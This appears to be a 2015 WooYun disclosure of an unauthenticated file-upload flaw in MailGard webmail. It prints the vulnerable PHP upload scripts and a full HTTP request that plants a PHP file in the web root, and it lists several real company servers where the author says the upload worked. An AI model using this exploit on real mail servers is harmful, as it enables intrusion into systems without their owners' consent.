当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098084

漏洞标题:佑友mailgard webmail任意文件上传导致getshell(无需登录)

相关厂商:深圳市河辰通讯技术有限公司

漏洞作者: f4ckbaidu

提交时间:2015-02-24 12:28

修复时间:2015-05-31 15:40

公开时间:2015-05-31 15:40

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-24: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

与WooYun-2015-97939和WooYun-2015-97649不同,来一发不需要登录的

详细说明:

一、某些文件存在越权访问(无需登录即可访问)
经过WooYun-2015-97939和WooYun-2015-97649的审计得到以下结论:
没有包含根目录下global.php的文件,都可以直接访问不会跳转到登陆界面
于是查找可能存在越权访问的文件:

$ find -name "*.php" | xargs grep -L -E "^require_once.+(\.\.\/global|[^/]global)\.php.+;$"


剔除掉无用的文件,留下几个有意思的php文件:

./overflow_alarm.php
./sms_send.php
./src/old.rule.php
./src/public_folders_upload.php
./src/big_attach.php
./src/big_att_upload.php
./src/read_data.php
./src/upload.php
./sync/linkman.php


二、代码问题导致任意文件上传
瞅瞅/src/big_att_upload.php的代码,为了保护程序猿,咱打上马赛克哈

<?php
/*
+-----------------------------------------------------------------------+
| Author: 马赛克 |
+-----------------------------------------------------------------------+
*/
require_once('../config/config.php');
require_once('../functions/global.php');
if (isset($_POST["PHPSESSID"])) {
session_id($_POST["PHPSESSID"]);
}
$realDir = realPath($_POST['dir']).'/';
$goexpr = true;
if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {
$fStr = $_FILES["Filedata"]["name"];
$fSize = getUnitSpace($_FILES["Filedata"]["size"]);
$fArr = explode('.', $fStr);
$fSuffix = end($fArr);
$fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));
$movefile = $realDir.$fStr;
$auton = 0;
while($goexpr){
if(is_file($movefile) && $_POST['attachType'] == 'big_att'){
$movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;
$fStr = $fPrefix.'('.$auton.').'.$fSuffix;
$auton++;
}else{
$goexpr = false;
}
}

if(move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile)){
if($_POST['attachType'] == 'big_att'){
echo 'big_att:'.$fStr.':'.$fSize;exit;
}else{
echo '1';exit;
}
}
}
?>


这也是醉了,不仅有越权访问,而且上传还木有任何后缀限制
直接上传把filename对应文件放到realPath($_POST['dir']).'/'下
POC:

POST http://mail.domain.com:889/src/big_att_upload.php HTTP/1.1
Host: mail.domain.com:889
Connection: keep-alive
Content-Length: 658
Origin: http://mail.domain.com:889
X-Requested-With: ShockwaveFlash/16.0.0.305
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Accept: */*
Referer: http://mail.domain.com:889/src/write_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filename"
vultest.php
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="PHPSESSID"
outb98m2mckt5a03pejd1aqra0
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="dir"
/var/www/newmail/
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filedata"; filename="vultest.php"
Content-Type: application/octet-stream
12345
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Upload"
Submit Query
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--


访问http://mail.domain.com:889/vultest.php即可
还有2个上传点也是一样的问题,realpath支持../,你懂的,我就不发POC了
/var/www/newmail/src/upload.php:

<?php
/*
+-----------------------------------------------------------------------+
| Author: 马赛克 |
+-----------------------------------------------------------------------+
*/
require_once('../config/config.php');
// 网络硬盘
// Work-around for setting up a session because Flash Player doesn't send the cookies
if (isset($_POST["PHPSESSID"])) {
session_id($_POST["PHPSESSID"]);
}
$netDiskDir = HM_BOXS.$_POST['netDiskDir'];
$realDir = realPath($netDiskDir.'/'.$_POST['curDir']).'/';
if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
$_FILES["Filedata"] = $_FILES["Filedata2"];
}
$goexpr = true;
if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {
$fStr = $_FILES["Filedata"]["name"];
$fArr = explode('.', $fStr);
$fSuffix = end($fArr);
$fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));
$movefile = $realDir.$fStr;
$auton = 0;
while($goexpr){
if(is_file($movefile)){
$movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;
$auton++;
}else{
$goexpr = false;
}
}

move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile);
}
if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) {
echo 'document.getElementById("show_Filedata2").innerHTML = \'<input type="file" id="Filedata2" name="Filedata2">\';document.getElementById("PHPUploadProgress").style.display = "none";document.getElementById("PHPUploadCompose").style.display = "";';
}
echo '';
exit;
?>


/var/www/newmail/src/public_folders_upload.php:(realpath支持../,你懂的,我就不发POC了)

<?php
/*
+-----------------------------------------------------------------------+
| Author: 马赛克 |
+-----------------------------------------------------------------------+
*/
require_once('../config/config.php');
// 公共文件夹
// Work-around for setting up a session because Flash Player doesn't send the cookies
if (isset($_POST["PHPSESSID"])) {
session_id($_POST["PHPSESSID"]);
}
$pubDir = HM_BOXS.$_POST['pubDir'];
$realDir = realPath($pubDir.'/'.$_POST['curDir']).'/';
if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
$_FILES["Filedata"] = $_FILES["Filedata2"];
}
$goexpr = true;
if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {
$fStr = $_FILES["Filedata"]["name"];
$fArr = explode('.', $fStr);
$fSuffix = end($fArr);
$fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));
$movefile = $realDir.$fStr;
$auton = 0;
while($goexpr){
if(is_file($movefile)){
$movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;
$auton++;
}else{
$goexpr = false;
}
}
move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile);
exit;
}
if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) {
echo '<script type="text/javascript">parent.document.getElementById("show_Filedata2").innerHTML = \'<input type="file" id="Filedata2" name="Filedata2">\';parent.document.getElementById("PHPUploadProgress").style.display = "none";parent.document.getElementById("PHPUploadCompose").style.display = "";</script>';
}
echo '';
exit;
?>

漏洞证明:

百度搜索intitle:"mailgard webmail",测试了一下基本上都中招
http://www.gtc.com.cn:889/vultest.php

1.png


http://mail.deluxworld.com:889/vultest.php

2.png


http://mail.refond.com:889/vultest.php

3.png


http://mail.boway.com:889/vultest.php

4.png


http://mail.szzt.com.cn:889/vultest.php

5.png


http://mail.szcwh.com:889/vultest.php

6.png

修复方案:

版权声明:转载请注明来源 f4ckbaidu@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-02 15:38

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-24 22:59 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    webmail,这么叼!